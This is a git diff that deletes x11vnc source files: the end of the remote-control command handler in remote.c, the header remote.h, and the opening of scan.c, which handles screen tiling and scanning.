- if (!strcmp(p, "debug_sel")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, debug_sel);
- goto qry;
- }
- debug_sel = 1;
- rfbLog("set debug_sel to: %d\n", debug_sel);
- goto done;
- }
- if (!strcmp(p, "nodebug_sel")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !debug_sel);
- goto qry;
- }
- debug_sel = 0;
- rfbLog("set debug_sel to: %d\n", debug_sel);
- goto done;
- }
- if (!strcmp(p, "dbg")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, crash_debug);
- goto qry;
- }
- crash_debug = 1;
- rfbLog("set crash_debug to: %d\n", crash_debug);
- goto done;
- }
- if (!strcmp(p, "nodbg")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !crash_debug);
- goto qry;
- }
- crash_debug = 0;
- rfbLog("set crash_debug to: %d\n", crash_debug);
- goto done;
- }
- if (!strcmp(p, "macnosaver")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, macosx_noscreensaver); goto qry;
- }
- rfbLog("remote_cmd: turn on macnosaver.\n");
- macosx_noscreensaver = 1;
- goto done;
- }
- if (!strcmp(p, "macsaver") || !strcmp(p, "nomacnosaver")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !macosx_noscreensaver); goto qry;
- }
- rfbLog("remote_cmd: turn off macnosaver.\n");
- macosx_noscreensaver = 0;
- goto done;
- }
- if (!strcmp(p, "macnowait")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !macosx_wait_for_switch); goto qry;
- }
- rfbLog("remote_cmd: disable macosx_wait_for_switch.\n");
- macosx_wait_for_switch = 0;
- goto done;
- }
- if (!strcmp(p, "macwait") || !strcmp(p, "nomacnowait")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, macosx_wait_for_switch); goto qry;
- }
- rfbLog("remote_cmd: enable macosx_wait_for_switch.\n");
- macosx_wait_for_switch = 1;
- goto done;
- }
- if (strstr(p, "macwheel") == p) {
- COLON_CHECK("macwheel:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, macosx_mouse_wheel_speed);
- goto qry;
- }
- p += strlen("macwheel:");
- macosx_mouse_wheel_speed = atoi(p);
- rfbLog("set macosx_mouse_wheel_speed to: %d\n", macosx_mouse_wheel_speed);
- goto done;
- }
- if (!strcmp(p, "macnoswap")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !macosx_swap23); goto qry;
- }
- rfbLog("remote_cmd: disable macosx_swap23.\n");
- macosx_swap23 = 0;
- goto done;
- }
- if (!strcmp(p, "macswap") || !strcmp(p, "nomacnoswap")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, macosx_swap23); goto qry;
- }
- rfbLog("remote_cmd: enable macosx_swap23.\n");
- macosx_swap23 = 1;
- goto done;
- }
- if (!strcmp(p, "macnoresize")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !macosx_resize); goto qry;
- }
- rfbLog("remote_cmd: disable macosx_resize.\n");
- macosx_resize = 0;
- goto done;
- }
- if (!strcmp(p, "macresize") || !strcmp(p, "nomacnoresize")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, macosx_resize); goto qry;
- }
- rfbLog("remote_cmd: enable macosx_resize.\n");
- macosx_resize = 1;
- goto done;
- }
- if (strstr(p, "maciconanim") == p) {
- COLON_CHECK("maciconanim:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, macosx_icon_anim_time);
- goto qry;
- }
- p += strlen("maciconanim:");
- macosx_icon_anim_time = atoi(p);
- rfbLog("set macosx_icon_anim_time to: %d\n", macosx_icon_anim_time);
- goto done;
- }
- if (!strcmp(p, "macmenu")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, macosx_ncache_macmenu); goto qry;
- }
- rfbLog("remote_cmd: enable macosx_ncache_macmenu.\n");
- macosx_ncache_macmenu = 1;
- goto done;
- }
- if (!strcmp(p, "macnomenu") || !strcmp(p, "nomacmenu")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !macosx_ncache_macmenu); goto qry;
- }
- rfbLog("remote_cmd: disable macosx_ncache_macmenu.\n");
- macosx_ncache_macmenu = 0;
- goto done;
- }
- if (!strcmp(p, "macuskbd")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, macosx_us_kbd); goto qry;
- }
- rfbLog("remote_cmd: enable macosx_us_kbd.\n");
- macosx_us_kbd = 1;
- goto done;
- }
- if (!strcmp(p, "nomacuskbd")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !macosx_us_kbd); goto qry;
- }
- rfbLog("remote_cmd: disable macosx_us_kbd.\n");
- macosx_us_kbd = 0;
- goto done;
- }
- if (strstr(p, "hack") == p) { /* skip-cmd-list */
- COLON_CHECK("hack:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, hack_val);
- goto qry;
- }
- p += strlen("hack:");
- hack_val = atoi(p);
- rfbLog("set hack_val to: %d\n", hack_val);
- goto done;
- }
- if (!strcmp(p, "noremote")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- !accept_remote_cmds);
- goto qry;
- }
- rfbLog("remote_cmd: disabling remote commands.\n");
- accept_remote_cmds = 0; /* cannot be turned back on. */
- goto done;
- }
- if (strstr(p, "client_info_sock") == p) { /* skip-cmd-list */
- NOTAPP
- p += strlen("client_info_sock:");
- if (*p != '\0') {
- start_client_info_sock(p);
- }
- goto done;
- }
- if (strstr(p, "noop") == p) {
- NOTAPP
- rfbLog("remote_cmd: noop\n");
- goto done;
- }
- if (icon_mode && !query && strstr(p, "passwd") == p) { /* skip-cmd-list */
- char **passwds_new = (char **) malloc(3*sizeof(char *));
- char **passwds_old = (char **) screen->authPasswdData;
-
- COLON_CHECK("passwd:")
- p += strlen("passwd:");
-
- passwds_new[0] = strdup(p);
-
- /* mutex */
- if (screen->authPasswdData &&
- screen->passwordCheck == rfbCheckPasswordByList) {
- passwds_new[1] = passwds_old[1];
- } else {
- passwds_new[1] = NULL;
- screen->passwordCheck = rfbCheckPasswordByList;
- }
- passwds_new[2] = NULL;
-
- screen->authPasswdData = (void*) passwds_new;
- if (*p == '\0') {
- screen->authPasswdData = (void*) NULL;
- }
- rfbLog("remote_cmd: changed full access passwd.\n");
- goto done;
- }
- if (icon_mode && !query && strstr(p, "viewpasswd") == p) { /* skip-cmd-list */
- char **passwds_new = (char **) malloc(3*sizeof(char *));
- char **passwds_old = (char **) screen->authPasswdData;
-
- COLON_CHECK("viewpasswd:")
- p += strlen("viewpasswd:");
-
- passwds_new[1] = strdup(p);
-
- if (screen->authPasswdData &&
- screen->passwordCheck == rfbCheckPasswordByList) {
- passwds_new[0] = passwds_old[0];
- } else {
- char *tmp = (char *) malloc(4 + CHALLENGESIZE);
- rfbRandomBytes((unsigned char*)tmp);
- passwds_new[0] = tmp;
- screen->passwordCheck = rfbCheckPasswordByList;
- }
- passwds_new[2] = NULL;
-
- if (*p == '\0') {
- passwds_new[1] = NULL;
- }
-
- screen->authPasswdData = (void*) passwds_new;
- rfbLog("remote_cmd: changed view only passwd.\n");
- goto done;
- }
- if (strstr(p, "trayembed") == p) { /* skip-cmd-list */
- unsigned long id;
- NOTAPP
-
- COLON_CHECK("trayembed:")
- p += strlen("trayembed:");
- if (scan_hexdec(p, &id)) {
- tray_request = (Window) id;
- tray_unembed = 0;
- rfbLog("remote_cmd: will try to embed 0x%x in"
- " the system tray.\n", id);
- }
- goto done;
- }
- if (strstr(p, "trayunembed") == p) { /* skip-cmd-list */
- unsigned long id;
- NOTAPP
-
- COLON_CHECK("trayunembed:")
- p += strlen("trayunembed:");
- if (scan_hexdec(p, &id)) {
- tray_request = (Window) id;
- tray_unembed = 1;
- rfbLog("remote_cmd: will try to unembed 0x%x out"
- " of the system tray.\n", id);
- }
- goto done;
- }
- if (query) {
- /* read-only variables that can only be queried: */
-
- if (!strcmp(p, "display")) {
- if (raw_fb) {
- snprintf(buf, bufn, "aro=%s:rawfb:%p",
- p, raw_fb_addr);
- } else if (! dpy) {
- snprintf(buf, bufn, "aro=%s:", p);
- } else {
- char *d;
- d = DisplayString(dpy);
- if (! d) d = "unknown";
- if (*d == ':') {
- snprintf(buf, bufn, "aro=%s:%s%s", p,
- this_host(), d);
- } else {
- snprintf(buf, bufn, "aro=%s:%s", p, d);
- }
- }
- goto qry;
- }
- if (!strcmp(p, "vncdisplay")) {
- snprintf(buf, bufn, "aro=%s:%s", p,
- NONUL(vnc_desktop_name));
- goto qry;
- }
- if (!strcmp(p, "icon_mode")) {
- snprintf(buf, bufn, "aro=%s:%d", p, icon_mode);
- goto qry;
- }
- if (!strcmp(p, "autoport")) {
- snprintf(buf, bufn, "aro=%s:%d", p, auto_port);
- goto qry;
- }
- if (!strcmp(p, "loop") || !strcmp(p, "loopbg")) {
- snprintf(buf, bufn, "aro=%s:%d", p, 0);
- goto qry;
- }
- if (!strcmp(p, "desktopname")) {
- snprintf(buf, bufn, "aro=%s:%s", p,
- NONUL(rfb_desktop_name));
- goto qry;
- }
- if (!strcmp(p, "guess_desktop")) {
- snprintf(buf, bufn, "aro=%s:%s", p,
- NONUL(guess_desktop()));
- goto qry;
- }
- if (!strcmp(p, "guess_dbus")) {
- snprintf(buf, bufn, "aro=%s:%s", p,
- NONUL(dbus_session()));
- goto qry;
- }
- if (!strcmp(p, "http_url")) {
- if (!screen) {
- snprintf(buf, bufn, "aro=%s:", p);
- } else if (screen->httpListenSock > -1) {
- snprintf(buf, bufn, "aro=%s:http://%s:%d", p,
- NONUL(screen->thisHost), screen->httpPort);
- } else {
- snprintf(buf, bufn, "aro=%s:%s", p,
- "http_not_active");
- }
- goto qry;
- }
- if (!strcmp(p, "auth") || !strcmp(p, "xauth")) {
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(auth_file));
- goto qry;
- }
- if (!strcmp(p, "users")) {
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(users_list));
- goto qry;
- }
- if (!strcmp(p, "rootshift")) {
- snprintf(buf, bufn, "aro=%s:%d", p, rootshift);
- goto qry;
- }
- if (!strcmp(p, "clipshift")) {
- snprintf(buf, bufn, "aro=%s:%d", p, clipshift);
- goto qry;
- }
- if (!strcmp(p, "scale_str")) {
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(scale_str));
- goto qry;
- }
- if (!strcmp(p, "scaled_x")) {
- snprintf(buf, bufn, "aro=%s:%d", p, scaled_x);
- goto qry;
- }
- if (!strcmp(p, "scaled_y")) {
- snprintf(buf, bufn, "aro=%s:%d", p, scaled_y);
- goto qry;
- }
- if (!strcmp(p, "scale_numer")) {
- snprintf(buf, bufn, "aro=%s:%d", p, scale_numer);
- goto qry;
- }
- if (!strcmp(p, "scale_denom")) {
- snprintf(buf, bufn, "aro=%s:%d", p, scale_denom);
- goto qry;
- }
- if (!strcmp(p, "scale_fac_x")) {
- snprintf(buf, bufn, "aro=%s:%f", p, scale_fac_x);
- goto qry;
- }
- if (!strcmp(p, "scale_fac_y")) {
- snprintf(buf, bufn, "aro=%s:%f", p, scale_fac_y);
- goto qry;
- }
- if (!strcmp(p, "scaling_blend")) {
- snprintf(buf, bufn, "aro=%s:%d", p, scaling_blend);
- goto qry;
- }
- if (!strcmp(p, "scaling_nomult4")) {
- snprintf(buf, bufn, "aro=%s:%d", p, scaling_nomult4);
- goto qry;
- }
- if (!strcmp(p, "scaling_pad")) {
- snprintf(buf, bufn, "aro=%s:%d", p, scaling_pad);
- goto qry;
- }
- if (!strcmp(p, "scaling_interpolate")) {
- snprintf(buf, bufn, "aro=%s:%d", p,
- scaling_interpolate);
- goto qry;
- }
- if (!strcmp(p, "inetd")) {
- snprintf(buf, bufn, "aro=%s:%d", p, inetd);
- goto qry;
- }
- if (!strcmp(p, "privremote")) {
- snprintf(buf, bufn, "aro=%s:%d", p, priv_remote);
- goto qry;
- }
- if (!strcmp(p, "unsafe")) {
- snprintf(buf, bufn, "aro=%s:%d", p, !safe_remote_only);
- goto qry;
- }
- if (!strcmp(p, "safer")) {
- snprintf(buf, bufn, "aro=%s:%d", p, more_safe);
- goto qry;
- }
- if (!strcmp(p, "nocmds")) {
- snprintf(buf, bufn, "aro=%s:%d", p, no_external_cmds);
- goto qry;
- }
- if (!strcmp(p, "passwdfile")) {
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(passwdfile));
- goto qry;
- }
- if (!strcmp(p, "unixpw")) {
- snprintf(buf, bufn, "aro=%s:%d", p, unixpw);
- goto qry;
- }
- if (!strcmp(p, "unixpw_nis")) {
- snprintf(buf, bufn, "aro=%s:%d", p, unixpw_nis);
- goto qry;
- }
- if (!strcmp(p, "unixpw_list")) {
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(unixpw_list));
- goto qry;
- }
- if (!strcmp(p, "ssl")) {
- snprintf(buf, bufn, "aro=%s:%d", p, use_openssl);
- goto qry;
- }
- if (!strcmp(p, "ssl_pem")) {
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(openssl_pem));
- goto qry;
- }
- if (!strcmp(p, "sslverify")) {
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(ssl_verify));
- goto qry;
- }
- if (!strcmp(p, "stunnel")) {
- snprintf(buf, bufn, "aro=%s:%d", p, use_stunnel);
- goto qry;
- }
- if (!strcmp(p, "stunnel_pem")) {
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(stunnel_pem));
- goto qry;
- }
- if (!strcmp(p, "https")) {
- snprintf(buf, bufn, "aro=%s:%d", p, https_port_num);
- goto qry;
- }
- if (!strcmp(p, "httpsredir")) {
- snprintf(buf, bufn, "aro=%s:%d", p, https_port_redir);
- goto qry;
- }
- if (!strcmp(p, "usepw")) {
- snprintf(buf, bufn, "aro=%s:%d", p, usepw);
- goto qry;
- }
- if (!strcmp(p, "using_shm")) {
- snprintf(buf, bufn, "aro=%s:%d", p, !using_shm);
- goto qry;
- }
- if (!strcmp(p, "logfile") || !strcmp(p, "o")) {
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(logfile));
- goto qry;
- }
- if (!strcmp(p, "flag")) {
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(flagfile));
- goto qry;
- }
- if (!strcmp(p, "rmflag")) {
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(rm_flagfile));
- goto qry;
- }
- if (!strcmp(p, "rc")) {
- char *s = rc_rcfile;
- if (rc_rcfile_default) {
- s = NULL;
- }
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(s));
- goto qry;
- }
- if (!strcmp(p, "norc")) {
- snprintf(buf, bufn, "aro=%s:%d", p, got_norc);
- goto qry;
- }
- if (!strcmp(p, "h") || !strcmp(p, "help") ||
- !strcmp(p, "V") || !strcmp(p, "version") ||
- !strcmp(p, "lastmod")) {
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(lastmod));
- goto qry;
- }
- if (!strcmp(p, "bg")) {
- snprintf(buf, bufn, "aro=%s:%d", p, opts_bg);
- goto qry;
- }
- if (!strcmp(p, "sigpipe")) {
- snprintf(buf, bufn, "aro=%s:%s", p, NONUL(sigpipe));
- goto qry;
- }
- if (!strcmp(p, "threads")) {
- snprintf(buf, bufn, "aro=%s:%d", p, use_threads);
- goto qry;
- }
- if (!strcmp(p, "readrate")) {
- snprintf(buf, bufn, "aro=%s:%d", p, get_read_rate());
- goto qry;
- }
- if (!strcmp(p, "netrate")) {
- snprintf(buf, bufn, "aro=%s:%d", p, get_net_rate());
- goto qry;
- }
- if (!strcmp(p, "netlatency")) {
- snprintf(buf, bufn, "aro=%s:%d", p, get_net_latency());
- goto qry;
- }
- if (!strcmp(p, "pipeinput")) {
- snprintf(buf, bufn, "aro=%s:%s", p,
- NONUL(pipeinput_str));
- goto qry;
- }
- if (!strcmp(p, "clients")) {
- char *str = list_clients();
- snprintf(buf, bufn, "aro=%s:%s", p, str);
- free(str);
- goto qry;
- }
- if (!strcmp(p, "client_count")) {
- snprintf(buf, bufn, "aro=%s:%d", p, client_count);
- goto qry;
- }
- if (!strcmp(p, "pid")) {
- snprintf(buf, bufn, "aro=%s:%d", p, (int) getpid());
- goto qry;
- }
- if (!strcmp(p, "ext_xtest")) {
- snprintf(buf, bufn, "aro=%s:%d", p, xtest_present);
- goto qry;
- }
- if (!strcmp(p, "ext_xtrap")) {
- snprintf(buf, bufn, "aro=%s:%d", p, xtrap_present);
- goto qry;
- }
- if (!strcmp(p, "ext_xrecord")) {
- snprintf(buf, bufn, "aro=%s:%d", p, xrecord_present);
- goto qry;
- }
- if (!strcmp(p, "ext_xkb")) {
- snprintf(buf, bufn, "aro=%s:%d", p, xkb_present);
- goto qry;
- }
- if (!strcmp(p, "ext_xshm")) {
- snprintf(buf, bufn, "aro=%s:%d", p, xshm_present);
- goto qry;
- }
- if (!strcmp(p, "ext_xinerama")) {
- snprintf(buf, bufn, "aro=%s:%d", p, xinerama_present);
- goto qry;
- }
- if (!strcmp(p, "ext_overlay")) {
- snprintf(buf, bufn, "aro=%s:%d", p, overlay_present);
- goto qry;
- }
- if (!strcmp(p, "ext_xfixes")) {
- snprintf(buf, bufn, "aro=%s:%d", p, xfixes_present);
- goto qry;
- }
- if (!strcmp(p, "ext_xdamage")) {
- snprintf(buf, bufn, "aro=%s:%d", p, xdamage_present);
- goto qry;
- }
- if (!strcmp(p, "ext_xrandr")) {
- snprintf(buf, bufn, "aro=%s:%d", p, xrandr_present);
- goto qry;
- }
- if (!strcmp(p, "rootwin")) {
- snprintf(buf, bufn, "aro=%s:0x%x", p,
- (unsigned int) rootwin);
- goto qry;
- }
- if (!strcmp(p, "num_buttons")) {
- snprintf(buf, bufn, "aro=%s:%d", p, num_buttons);
- goto qry;
- }
- if (!strcmp(p, "button_mask")) {
- snprintf(buf, bufn, "aro=%s:%d", p, button_mask);
- goto qry;
- }
- if (!strcmp(p, "mouse_x")) {
- snprintf(buf, bufn, "aro=%s:%d", p, cursor_x);
- goto qry;
- }
- if (!strcmp(p, "mouse_y")) {
- snprintf(buf, bufn, "aro=%s:%d", p, cursor_y);
- goto qry;
- }
- if (!strcmp(p, "grab_state")) {
- int ptr_grabbed, kbd_grabbed;
-
- grab_state(&ptr_grabbed, &kbd_grabbed);
- snprintf(buf, bufn, "aro=%s:%d,%d", p, ptr_grabbed, kbd_grabbed);
- if (dpy && rc_npieces < 10) {
- rfbLog("remote_cmd: ptr,kbd: %s\n", buf);
- }
- goto qry;
- }
- if (!strcmp(p, "pointer_pos") || !strcmp(p, "pointer_x") || !strcmp(p, "pointer_y") || !strcmp(p, "pointer_same") || !strcmp(p, "pointer_root") || !strcmp(p, "pointer_mask")) {
- int px = -1, py = -1;
- int wx, wy;
- unsigned int m = 0;
- Window r, c;
- Bool same_screen = True;
-
-
- if (!strcmp(p, "pointer_pos")) { /* skip-cmd-list */
- snprintf(buf, bufn, "aro=%s:%d,%d", p, px, py);
- } else if (!strcmp(p, "pointer_x")) { /* skip-cmd-list */
- snprintf(buf, bufn, "aro=%s:%d", p, px);
- } else if (!strcmp(p, "pointer_y")) { /* skip-cmd-list */
- snprintf(buf, bufn, "aro=%s:%d", p, py);
- } else if (!strcmp(p, "pointer_same")) { /* skip-cmd-list */
- snprintf(buf, bufn, "aro=%s:%d", p, same_screen);
- } else if (!strcmp(p, "pointer_root")) { /* skip-cmd-list */
- snprintf(buf, bufn, "aro=%s:0x%x", p, (unsigned int) rootwin);
- } else if (!strcmp(p, "pointer_mask")) { /* skip-cmd-list */
- snprintf(buf, bufn, "aro=%s:0x%x", p, m);
- }
- if (!dpy) {
- goto qry;
- }
-#if NO_X11
- goto qry;
-#else
- X_LOCK;
- same_screen = XQueryPointer_wr(dpy, rootwin, &r, &c, &px, &py, &wx, &wy, &m);
- X_UNLOCK;
-#endif
-
- if (!strcmp(p, "pointer_pos")) { /* skip-cmd-list */
- snprintf(buf, bufn, "aro=%s:%d,%d", p, px, py);
- } else if (!strcmp(p, "pointer_x")) { /* skip-cmd-list */
- snprintf(buf, bufn, "aro=%s:%d", p, px);
- } else if (!strcmp(p, "pointer_y")) { /* skip-cmd-list */
- snprintf(buf, bufn, "aro=%s:%d", p, py);
- } else if (!strcmp(p, "pointer_same")) { /* skip-cmd-list */
- snprintf(buf, bufn, "aro=%s:%d", p, same_screen);
- } else if (!strcmp(p, "pointer_root")) { /* skip-cmd-list */
- snprintf(buf, bufn, "aro=%s:0x%x", p, (unsigned int) r);
- } else if (!strcmp(p, "pointer_mask")) { /* skip-cmd-list */
- snprintf(buf, bufn, "aro=%s:0x%x", p, m);
- }
- if (rc_npieces < 10) {
- rfbLog("remote_cmd: %s: %s\n", p, buf);
- }
- goto qry;
- }
- if (!strcmp(p, "bpp")) {
- snprintf(buf, bufn, "aro=%s:%d", p, bpp);
- goto qry;
- }
- if (!strcmp(p, "depth")) {
- snprintf(buf, bufn, "aro=%s:%d", p, depth);
- goto qry;
- }
- if (!strcmp(p, "indexed_color")) {
- snprintf(buf, bufn, "aro=%s:%d", p, indexed_color);
- goto qry;
- }
- if (!strcmp(p, "dpy_x")) {
- snprintf(buf, bufn, "aro=%s:%d", p, dpy_x);
- goto qry;
- }
- if (!strcmp(p, "dpy_y")) {
- snprintf(buf, bufn, "aro=%s:%d", p, dpy_y);
- goto qry;
- }
- if (!strcmp(p, "wdpy_x")) {
- snprintf(buf, bufn, "aro=%s:%d", p, wdpy_x);
- goto qry;
- }
- if (!strcmp(p, "wdpy_y")) {
- snprintf(buf, bufn, "aro=%s:%d", p, wdpy_y);
- goto qry;
- }
- if (!strcmp(p, "off_x")) {
- snprintf(buf, bufn, "aro=%s:%d", p, off_x);
- goto qry;
- }
- if (!strcmp(p, "off_y")) {
- snprintf(buf, bufn, "aro=%s:%d", p, off_y);
- goto qry;
- }
- if (!strcmp(p, "cdpy_x")) {
- snprintf(buf, bufn, "aro=%s:%d", p, cdpy_x);
- goto qry;
- }
- if (!strcmp(p, "cdpy_y")) {
- snprintf(buf, bufn, "aro=%s:%d", p, cdpy_y);
- goto qry;
- }
- if (!strcmp(p, "coff_x")) {
- snprintf(buf, bufn, "aro=%s:%d", p, coff_x);
- goto qry;
- }
- if (!strcmp(p, "coff_y")) {
- snprintf(buf, bufn, "aro=%s:%d", p, coff_y);
- goto qry;
- }
- if (!strcmp(p, "rfbauth")) {
- NOTAPPRO
- goto qry;
- }
- if (!strcmp(p, "passwd")) {
- NOTAPPRO
- goto qry;
- }
- if (!strcmp(p, "viewpasswd")) {
- NOTAPPRO
- goto qry;
- }
- if (1) {
- NOTAPP
- goto qry;
- }
- goto done;
- }
- if (1) {
- char tmp[100];
- NOTAPP
- rfbLog("remote_cmd: warning unknown\n");
- strncpy(tmp, p, 90);
- rfbLog("command \"%s\"\n", tmp);
- goto done;
- }
-
- done:
-
- if (*buf == '\0') {
- sprintf(buf, "%s", "ack=1");
- }
-
- qry:
-
- if (stringonly) {
- return strdup(buf);
- } else if (client_connect_file) {
- FILE *out = fopen(client_connect_file, "w");
- if (out != NULL) {
- fprintf(out, "%s\n", buf);
- fclose(out);
- usleep(20*1000);
- }
- } else {
- if (dpy) { /* raw_fb hack */
- X_LOCK;
- set_x11vnc_remote_prop(buf);
- XFlush_wr(dpy);
- X_UNLOCK;
- }
- }
-#endif /* REMOTE_CONTROL */
- return NULL;
-}
-
-
diff --git a/x11vnc/remote.h b/x11vnc/remote.h
deleted file mode 100644
index 3a2dea2..0000000
--- a/x11vnc/remote.h
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_REMOTE_H
-#define _X11VNC_REMOTE_H
-
-/* -- remote.h -- */
-
-extern int send_remote_cmd(char *cmd, int query, int wait);
-extern int do_remote_query(char *remote_cmd, char *query_cmd, int remote_sync,
- int qdefault);
-extern void check_black_fb(void);
-extern int check_httpdir(void);
-extern void http_connections(int on);
-extern int remote_control_access_ok(void);
-extern char *process_remote_cmd(char *cmd, int stringonly);
-
-extern char *query_result;
-
-
-#endif /* _X11VNC_REMOTE_H */
diff --git a/x11vnc/scan.c b/x11vnc/scan.c
deleted file mode 100644
index 1fb7883..0000000
--- a/x11vnc/scan.c
+++ /dev/null
@@ -1,3687 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- scan.c -- */
-
-#include "x11vnc.h"
-#include "xinerama.h"
-#include "xwrappers.h"
-#include "xdamage.h"
-#include "xrandr.h"
-#include "win_utils.h"
-#include "8to24.h"
-#include "screen.h"
-#include "pointer.h"
-#include "cleanup.h"
-#include "unixpw.h"
-#include "screen.h"
-#include "macosx.h"
-#include "userinput.h"
-
-/*
- * routines for scanning and reading the X11 display for changes, and
- * for doing all the tile work (shm, etc).
- */
-void initialize_tiles(void);
-void free_tiles(void);
-void shm_delete(XShmSegmentInfo *shm);
-void shm_clean(XShmSegmentInfo *shm, XImage *xim);
-void initialize_polling_images(void);
-void scale_rect(double factor_x, double factor_y, int blend, int interpolate, int Bpp,
- char *src_fb, int src_bytes_per_line, char *dst_fb, int dst_bytes_per_line,
- int Nx, int Ny, int nx, int ny, int X1, int Y1, int X2, int Y2, int mark);
-void scale_and_mark_rect(int X1, int Y1, int X2, int Y2, int mark);
-void mark_rect_as_modified(int x1, int y1, int x2, int y2, int force);
-int copy_screen(void);
-int copy_snap(void);
-void nap_sleep(int ms, int split);
-void set_offset(void);
-int scan_for_updates(int count_only);
-void rotate_curs(char *dst_0, char *src_0, int Dx, int Dy, int Bpp);
-void rotate_coords(int x, int y, int *xo, int *yo, int dxi, int dyi);
-void rotate_coords_inverse(int x, int y, int *xo, int *yo, int dxi, int dyi);
-
-static void set_fs_factor(int max);
-static char *flip_ximage_byte_order(XImage *xim);
-static int shm_create(XShmSegmentInfo *shm, XImage **ximg_ptr, int w, int h,
- char *name);
-static void create_tile_hint(int x, int y, int tw, int th, hint_t *hint);
-static void extend_tile_hint(int x, int y, int tw, int th, hint_t *hint);
-static void save_hint(hint_t hint, int loc);
-static void hint_updates(void);
-static void mark_hint(hint_t hint);
-static int copy_tiles(int tx, int ty, int nt);
-static int copy_all_tiles(void);
-static int copy_all_tile_runs(void);
-static int copy_tiles_backward_pass(void);
-static int copy_tiles_additional_pass(void);
-static int gap_try(int x, int y, int *run, int *saw, int along_x);
-static int fill_tile_gaps(void);
-static int island_try(int x, int y, int u, int v, int *run);
-static int grow_islands(void);
-static void blackout_regions(void);
-static void nap_set(int tile_cnt);
-static void nap_check(int tile_cnt);
-static void ping_clients(int tile_cnt);
-static int blackout_line_skip(int n, int x, int y, int rescan,
- int *tile_count);
-static int blackout_line_cmpskip(int n, int x, int y, char *dst, char *src,
- int w, int pixelsize);
-static int scan_display(int ystart, int rescan);
-
-
-/* array to hold the hints: */
-static hint_t *hint_list;
-
-/* nap state */
-int nap_ok = 0;
-static int nap_diff_count = 0;
-
-static int scan_count = 0; /* indicates which scan pattern we are on */
-static int scan_in_progress = 0;
-
-
-typedef struct tile_change_region {
- /* start and end lines, along y, of the changed area inside a tile. */
- unsigned short first_line, last_line;
- short first_x, last_x;
- /* info about differences along edges. */
- unsigned short left_diff, right_diff;
- unsigned short top_diff, bot_diff;
-} region_t;
-
-/* array to hold the tiles region_t-s. */
-static region_t *tile_region;
-
-
-
-
-/*
- * setup tile numbers and allocate the tile and hint arrays:
- */
-void initialize_tiles(void) {
-
- ntiles_x = (dpy_x - 1)/tile_x + 1;
- ntiles_y = (dpy_y - 1)/tile_y + 1;
- ntiles = ntiles_x * ntiles_y;
-
- tile_has_diff = (unsigned char *)
